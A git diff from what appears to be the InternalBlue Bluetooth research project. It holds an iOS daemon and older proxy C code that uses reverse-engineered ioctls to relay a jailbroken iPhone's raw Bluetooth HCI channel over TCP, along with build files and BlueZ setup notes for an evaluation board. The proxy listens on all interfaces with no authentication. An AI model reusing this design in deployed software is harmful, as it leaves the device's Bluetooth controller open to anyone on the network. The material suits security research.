||||
stop_proxy();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[], char *envp[]) {
|
||||
@autoreleasepool {
|
||||
if (argc > 1) {
|
||||
int port = atoi(argv[1]);
|
||||
NSLog(@"Hi, looks like you manually started internalblued on port %d", port);
|
||||
if (proxy_pref_on()) {
|
||||
int _configured_port = get_proxy_port();
|
||||
NSLog(@"internalblued is already running on port %d. Please turn it off in the iPhone's preferences first, before launching it manually.", _configured_port);
|
||||
exit(-1);
|
||||
}
|
||||
manual_port = port;
|
||||
start_proxy();
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
} else {
|
||||
// Start the proxy if pref allows us to
|
||||
if (proxy_pref_on()) {
|
||||
NSLog(@"Starting proxy because it is enabled.");
|
||||
start_proxy();
|
||||
}
|
||||
|
||||
// Attempt to create the server, exit if this fails
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service("com.ttdennis.internalblued", NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
|
||||
if (!connection) {
|
||||
NSLog(@"Failed to create XPC server. Exiting.");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Configure event handler
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
xpc_type_t type = xpc_get_type(object);
|
||||
if (type == XPC_TYPE_CONNECTION) {
|
||||
NSLog(@"XPC server received incoming connection: %s", xpc_copy_description(object));
|
||||
|
||||
xpc_connection_set_event_handler(object, ^(xpc_object_t some_object) {
|
||||
NSLog(@"XPC connection received object: %s", xpc_copy_description(some_object));
|
||||
_ib_xpc_recv_handler(some_object);
|
||||
});
|
||||
xpc_connection_resume(object);
|
||||
} else if (type == XPC_TYPE_ERROR) {
|
||||
NSLog(@"XPC server error: %s", xpc_dictionary_get_string(object, XPC_ERROR_KEY_DESCRIPTION));
|
||||
} else {
|
||||
NSLog(@"XPC server received unknown object: %s", xpc_copy_description(object));
|
||||
}
|
||||
});
|
||||
|
||||
xpc_connection_resume(connection);
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
#define CMD_RESTART_BLUETOOTHD 0
|
||||
#define CMD_START_PROXY 1
|
||||
#define CMD_STOP_PROXY 2
|
||||
#define CMD_RESTART_PROXY 3
|
||||
@@ -1,20 +0,0 @@
|
||||
# internalblue-ios-proxy
|
||||
This project is a proxy that redirects iOS's bluetooth socket and exposes it as a TCP socket which can be used to send HCI commands to the bluetooth controller of the device. A jailbroken device is required. To compile the project, a Mac with xcode is required.
|
||||
|
||||
## Building internalblue-ios-proxy
|
||||
Open the project with xcode and compile it. Xcode will create a single binary that can then be transferred onto the device.
|
||||
|
||||
## Installing internalblue-ios-proxy
|
||||
1. Right-click the `internalblue-ios-proxy` binary and click "Show in Finder". This will open the location the compiled binary resides in.
|
||||
2. Move the binary onto the device (e.g. with scp) at a location where applications are allowed to be executed (e.g. `/bin` or `/sbin`).
|
||||
3. The binary needs the `platform-application` entitlement. This is achieved by signing the binary with the included `entitlements.xml` file. Sign it using `ldid -Sentitlements.xml internalblue-ios-proxy`. `ldid` should be on a jailbroken device with Cydia by default.
|
||||
|
||||
## Running internalblue-ios-proxy
|
||||
Run the proxy by executing `internalblue-ios-proxy <port-number>`. The phone will then listen on this port and can be accessed either when on the same WiFi or by proxying the port through USB (using [usbmuxd](https://iphonedevwiki.net/index.php/SSH_Over_USB)).
|
||||
|
||||
A few things to note:
|
||||
- to increase reliability of the proxy, bluetooth should be disabled (either by manually stopping the bluetoothd daemon or by shutting of bluetooth in the settings on the phone)
|
||||
- in case the bluetooth chip crashes or does not respond anymore over the proxy, the proxy should be stopped and bluetooth should be turned off and on again in the UI
|
||||
- sometimes the bluetooth socket will not respond anymore after establishing a second connection, just restart the proxy then.
|
||||
|
||||
This project is based on Brandon Azad's [iOS command line tool](https://github.com/bazad/ios-command-line-tool) template.
|
||||
@@ -1,8 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>platform-application</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -1,285 +0,0 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 50;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
BB958F25227BA4580029C2D6 /* internalblue-ios-proxy.c in Sources */ = {isa = PBXBuildFile; fileRef = BB958F24227BA4580029C2D6 /* internalblue-ios-proxy.c */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
551A88C4208E671F0048DFA0 /* internalblue-ios-proxy */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = "internalblue-ios-proxy"; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
BB958F23227BA4580029C2D6 /* internalblue-ios-proxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "internalblue-ios-proxy.h"; sourceTree = "<group>"; };
|
||||
BB958F24227BA4580029C2D6 /* internalblue-ios-proxy.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = "internalblue-ios-proxy.c"; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
551A88C1208E671F0048DFA0 /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXFrameworksBuildPhase section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
551A88BB208E671F0048DFA0 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
551A88C6208E671F0048DFA0 /* internalblue-ios-proxy */,
|
||||
551A88C5208E671F0048DFA0 /* Products */,
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
551A88C5208E671F0048DFA0 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
551A88C4208E671F0048DFA0 /* internalblue-ios-proxy */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
551A88C6208E671F0048DFA0 /* internalblue-ios-proxy */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
BB958F23227BA4580029C2D6 /* internalblue-ios-proxy.h */,
|
||||
BB958F24227BA4580029C2D6 /* internalblue-ios-proxy.c */,
|
||||
);
|
||||
path = "internalblue-ios-proxy";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
551A88C3208E671F0048DFA0 /* internalblue-ios-proxy */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 551A88CD208E671F0048DFA0 /* Build configuration list for PBXNativeTarget "internalblue-ios-proxy" */;
|
||||
buildPhases = (
|
||||
551A88C0208E671F0048DFA0 /* Sources */,
|
||||
551A88C1208E671F0048DFA0 /* Frameworks */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "internalblue-ios-proxy";
|
||||
productName = "ios-command-line-tool";
|
||||
productReference = 551A88C4208E671F0048DFA0 /* internalblue-ios-proxy */;
|
||||
productType = "com.apple.product-type.library.dynamic";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
/* Begin PBXProject section */
|
||||
551A88BC208E671F0048DFA0 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 0930;
|
||||
ORGANIZATIONNAME = ttdennis;
|
||||
TargetAttributes = {
|
||||
551A88C3208E671F0048DFA0 = {
|
||||
CreatedOnToolsVersion = 9.3;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = 551A88BF208E671F0048DFA0 /* Build configuration list for PBXProject "internalblue-ios-proxy" */;
|
||||
compatibilityVersion = "Xcode 9.3";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
);
|
||||
mainGroup = 551A88BB208E671F0048DFA0;
|
||||
productRefGroup = 551A88C5208E671F0048DFA0 /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
551A88C3208E671F0048DFA0 /* internalblue-ios-proxy */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
551A88C0208E671F0048DFA0 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
BB958F25227BA4580029C2D6 /* internalblue-ios-proxy.c in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
551A88CB208E671F0048DFA0 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
CLANG_CXX_LIBRARY = "libc++";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
COPY_PHASE_STRIP = NO;
|
||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
ENABLE_TESTABILITY = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_DYNAMIC_NO_PIC = NO;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_OPTIMIZATION_LEVEL = 0;
|
||||
GCC_PREPROCESSOR_DEFINITIONS = (
|
||||
"DEBUG=1",
|
||||
"$(inherited)",
|
||||
);
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
MTL_ENABLE_DEBUG_INFO = YES;
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
SDKROOT = iphoneos;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
551A88CC208E671F0048DFA0 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
CLANG_CXX_LIBRARY = "libc++";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
COPY_PHASE_STRIP = NO;
|
||||
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
|
||||
ENABLE_NS_ASSERTIONS = NO;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
MTL_ENABLE_DEBUG_INFO = NO;
|
||||
SDKROOT = iphoneos;
|
||||
VALIDATE_PRODUCT = YES;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
551A88CE208E671F0048DFA0 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEVELOPMENT_TEAM = RSU3RMH9UZ;
|
||||
DYLIB_COMPATIBILITY_VERSION = "";
|
||||
DYLIB_CURRENT_VERSION = "";
|
||||
EXECUTABLE_PREFIX = "";
|
||||
EXECUTABLE_SUFFIX = "";
|
||||
MACH_O_TYPE = mh_execute;
|
||||
OTHER_LDFLAGS = "-ObjC";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SKIP_INSTALL = YES;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
551A88CF208E671F0048DFA0 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEVELOPMENT_TEAM = RSU3RMH9UZ;
|
||||
DYLIB_COMPATIBILITY_VERSION = "";
|
||||
DYLIB_CURRENT_VERSION = "";
|
||||
EXECUTABLE_PREFIX = "";
|
||||
EXECUTABLE_SUFFIX = "";
|
||||
MACH_O_TYPE = mh_execute;
|
||||
OTHER_LDFLAGS = "-ObjC";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SKIP_INSTALL = YES;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
551A88BF208E671F0048DFA0 /* Build configuration list for PBXProject "internalblue-ios-proxy" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
551A88CB208E671F0048DFA0 /* Debug */,
|
||||
551A88CC208E671F0048DFA0 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
551A88CD208E671F0048DFA0 /* Build configuration list for PBXNativeTarget "internalblue-ios-proxy" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
551A88CE208E671F0048DFA0 /* Debug */,
|
||||
551A88CF208E671F0048DFA0 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = 551A88BC208E671F0048DFA0 /* Project object */;
|
||||
}
|
||||
@@ -1,282 +0,0 @@
|
||||
//
|
||||
// internalblue-ios-proxy.c
|
||||
// internalblue-ios-proxy
|
||||
//
|
||||
// Created by ttdennis on 03.05.19.
|
||||
// Copyright © 2019 ttdennis. All rights reserved.
|
||||
//
|
||||
|
||||
#include "internalblue-ios-proxy.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/errno.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
#include <unistd.h>
|
||||
#include <termios.h>
|
||||
|
||||
#define IOAOSSKYSETCHANNELSPEC 0x800C5414
|
||||
#define IOAOSSKYGETCHANNELUUID 0x40105412
|
||||
|
||||
#define CTLIOCGINFO 0xC0644E03
|
||||
|
||||
typedef struct ctl_info {
|
||||
uint32_t ctl_id;
|
||||
char ctl_name[96];
|
||||
} ctl_info_t;
|
||||
|
||||
int btwake_fd, bt_fd;
|
||||
|
||||
/*
|
||||
This code has been put together by reverse-engineering BlueTool and bluetoothd on
|
||||
iOS. Some of the things that happen here are not completely understood but the goal
|
||||
was to just get it to work.
|
||||
*/
|
||||
int connect_bt_device() {
|
||||
int socket_fd = socket(32, 1, 2);
|
||||
int error = 0;
|
||||
int ret = 0;
|
||||
|
||||
struct sockaddr sock_addr;
|
||||
struct termios term;
|
||||
|
||||
if (socket_fd == 0) {
|
||||
printf("unable to get bluetooth socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
ctl_info_t *ctl_inf = malloc(sizeof(ctl_info_t));
|
||||
ctl_inf->ctl_id = 0;
|
||||
strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth");
|
||||
if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) {
|
||||
printf("ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
|
||||
printf("error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
*(int *)&sock_addr.sa_len = 0x22020;
|
||||
*(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id;
|
||||
ret = connect(socket_fd, &sock_addr, 0x20);
|
||||
if (ret != 0) {
|
||||
printf("connect() = %d - errno: %d\n", ret, errno);
|
||||
printf("error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Connected to bt device\n");
|
||||
|
||||
socklen_t len = 72;
|
||||
|
||||
ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len);
|
||||
if (ret != 0) {
|
||||
printf("getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
|
||||
printf("error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
cfmakeraw(&term);
|
||||
ret = cfsetspeed(&term, 3000000);
|
||||
if (ret != 0) {
|
||||
printf("cfsetspeed() = %d - errno: %d\n", ret, errno);
|
||||
printf("error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
term.c_iflag |= 4;
|
||||
term.c_cflag = 232192;
|
||||
ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48);
|
||||
if (ret != 0) {
|
||||
printf("setsockopt() = %d - errno: %d\n", ret, errno);
|
||||
printf("error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
tcflush(socket_fd, 3);
|
||||
|
||||
free(ctl_inf);
|
||||
|
||||
return socket_fd;
|
||||
}
|
||||
|
||||
int create_server(int port) {
|
||||
int server_fd;
|
||||
struct sockaddr_in server;
|
||||
int on = 1;
|
||||
int addrlen;
|
||||
|
||||
server_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (server_fd < 0) {
|
||||
printf("Unable to create server socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
addrlen = sizeof(server);
|
||||
memset(&server, '\0', addrlen);
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_addr.s_addr = INADDR_ANY;
|
||||
server.sin_port = htons(port);
|
||||
|
||||
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4);
|
||||
if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) {
|
||||
printf("Error binding socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (listen(server_fd, 5) < 0) {
|
||||
printf("Failed listening: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Listening on port %d\n", port);
|
||||
|
||||
return server_fd;
|
||||
}
|
||||
|
||||
int wait_for_connection(int server_fd) {
|
||||
int client_fd;
|
||||
socklen_t len;
|
||||
struct sockaddr_in client;
|
||||
|
||||
len = sizeof(struct sockaddr_in);
|
||||
client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len);
|
||||
|
||||
if (client_fd < 0) {
|
||||
printf("Accepting connection failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return client_fd;
|
||||
}
|
||||
|
||||
size_t buffered_write(int fd, char *buf, int *len)
|
||||
{
|
||||
size_t x = write(fd, buf, *len);
|
||||
if (x < 0)
|
||||
return x;
|
||||
if (x == 0)
|
||||
return x;
|
||||
if (x != *len)
|
||||
memmove(buf, buf+x, (*len)-x);
|
||||
*len -= x;
|
||||
return x;
|
||||
}
|
||||
|
||||
void proxy_bt_socket(int client, int bt) {
|
||||
char *client_buf, *bt_buf;
|
||||
int nfds;
|
||||
fd_set R;
|
||||
int client_out = 0;
|
||||
int bt_out = 0;
|
||||
int x;
|
||||
size_t n;
|
||||
|
||||
client_buf = malloc(1024);
|
||||
bt_buf = malloc(1024);
|
||||
|
||||
nfds = client > bt ? client : bt;
|
||||
nfds++;
|
||||
|
||||
while(1) {
|
||||
struct timeval to;
|
||||
if (client_out) {
|
||||
buffered_write(bt, client_buf, &client_out);
|
||||
}
|
||||
if (bt_out) {
|
||||
buffered_write(client, bt_buf, &bt_out);
|
||||
}
|
||||
FD_ZERO(&R);
|
||||
if (client_out < 1024)
|
||||
FD_SET(client, &R);
|
||||
if (bt_out < 1024)
|
||||
FD_SET(bt, &R);
|
||||
|
||||
to.tv_sec = 0;
|
||||
to.tv_usec = 1000;
|
||||
x = select(nfds+1, &R, 0, 0, &to);
|
||||
if (x > 0) {
|
||||
if (FD_ISSET(client, &R)) {
|
||||
n = read(client, client_buf+client_out, 1024-client_out);
|
||||
if (n > 0) {
|
||||
client_out += n;
|
||||
} else {
|
||||
close(client);
|
||||
printf("Client read failed\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (FD_ISSET(bt, &R)) {
|
||||
n = read(bt, bt_buf+bt_out, 1024-bt_out);
|
||||
if (n > 0) {
|
||||
bt_out += n;
|
||||
} else {
|
||||
close(client);
|
||||
printf("BT read failed\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else if (x < 0 && errno != EINTR){
|
||||
printf("Select failed with %s\n", strerror(errno));
|
||||
close(client);
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
void __exit(int sig) {
|
||||
close(bt_fd);
|
||||
close(btwake_fd);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int server_fd, client_fd;
|
||||
int port;
|
||||
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <port_number>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
port = atoi(argv[1]);
|
||||
|
||||
// wake BT device
|
||||
btwake_fd = open("/dev/btwake", 0);
|
||||
|
||||
bt_fd = connect_bt_device();
|
||||
if (bt_fd < 0) {
|
||||
printf("Error connecting to bluetooth device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
server_fd = create_server(port);
|
||||
if (server_fd < 0) {
|
||||
printf("Unable to create server\n");
|
||||
return -1;
|
||||
}
|
||||
printf("Created server\n");
|
||||
|
||||
signal(SIGINT, __exit);
|
||||
|
||||
while (1) {
|
||||
printf("Waiting for connection\n");
|
||||
client_fd = wait_for_connection(server_fd);
|
||||
if (client_fd < 0)
|
||||
continue;
|
||||
// currently only one connection is supported
|
||||
proxy_bt_socket(client_fd, bt_fd);
|
||||
close(client_fd);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
//
|
||||
// internalblue-ios-proxy.h
|
||||
// internalblue-ios-proxy
|
||||
//
|
||||
// Created by ttdennis on 03.05.19.
|
||||
// Copyright © 2019 ttdennis. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef internalblue_ios_proxy_h
|
||||
#define internalblue_ios_proxy_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#endif /* internalblue_ios_proxy_h */
|
||||
Binary file not shown.
@@ -0,0 +1,81 @@
|
||||
|
||||
|
||||
Linux Setup
|
||||
-----------
|
||||
The following steps are required to use the CYW20735B1 evaluation kit as normal HCI device on Linux with BlueZ.
|
||||
|
||||
|
||||
**1. Setup as HCI device**
|
||||
|
||||
You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
|
||||
|
||||
btattach -B /dev/ttyUSB0 -S 3000000
|
||||
|
||||
If this does not work directly, use:
|
||||
|
||||
stty -F /dev/ttyUSB0 3000000
|
||||
btattach -B /dev/ttyUSB0
|
||||
|
||||
Sometimes, you need to plug/unplug the evaluation board multiple times and run a combination of the commands above.
|
||||
If setup was successful can be checked with `hciconfig`. A MAC address with all zeros indicates that the baud rate
|
||||
was not set correctly and you need to try again.
|
||||
|
||||
**2. Use with BlueZ**
|
||||
|
||||
Assuming that you already have a regular Bluetooth device, you new device is `hci1`.
|
||||
|
||||
hciconfig hci1 up
|
||||
|
||||
You can list your HCI devices:
|
||||
|
||||
hcitool dev
|
||||
|
||||
**3. Command line tools for connections**
|
||||
|
||||
Scanning for devices:
|
||||
|
||||
hcitool scan
|
||||
hcitool lescan
|
||||
|
||||
Connections and pairing:
|
||||
|
||||
bluetoothctl
|
||||
|
||||
Enter into `bluetoothctl` command prompt:
|
||||
|
||||
power on
|
||||
agent on
|
||||
default-agent
|
||||
scan on
|
||||
|
||||
Optional - accept connections:
|
||||
|
||||
advertise on
|
||||
pairable on
|
||||
discoverable on
|
||||
|
||||
Do a pairing and then connect:
|
||||
|
||||
pair aa:bb:cc:dd:ee:ff
|
||||
connect aa:bb:cc:dd:ee:ff
|
||||
|
||||
|
||||
|
||||
Diagnostics
|
||||
-----------
|
||||
|
||||
On some devices, diagnostic logging for LMP and LCP already works out of the box.
|
||||
Note that diagnostics can do more, but the additional features are currently not
|
||||
integrated into *BlueZ* or the Linux kernel.
|
||||
|
||||
To enable diagnostics, execute:
|
||||
|
||||
echo 1 > /sys/kernel/debug/bluetooth/hci0/vendor_diag
|
||||
|
||||
By default, this entry is only created for Intel and Broadcom chips.
|
||||
The evaluation board claims to be Cypress, a different vendor ID, thus
|
||||
the vendor diagnostics are missing.
|
||||
*BlueZ* already comes with a monitor that decodes some parts of the diagnostic
|
||||
traffic, simply run:
|
||||
|
||||
btmon
|
||||
Binary file not shown.
@@ -0,0 +1,532 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 50;
|
||||
objects = {
|
||||
|
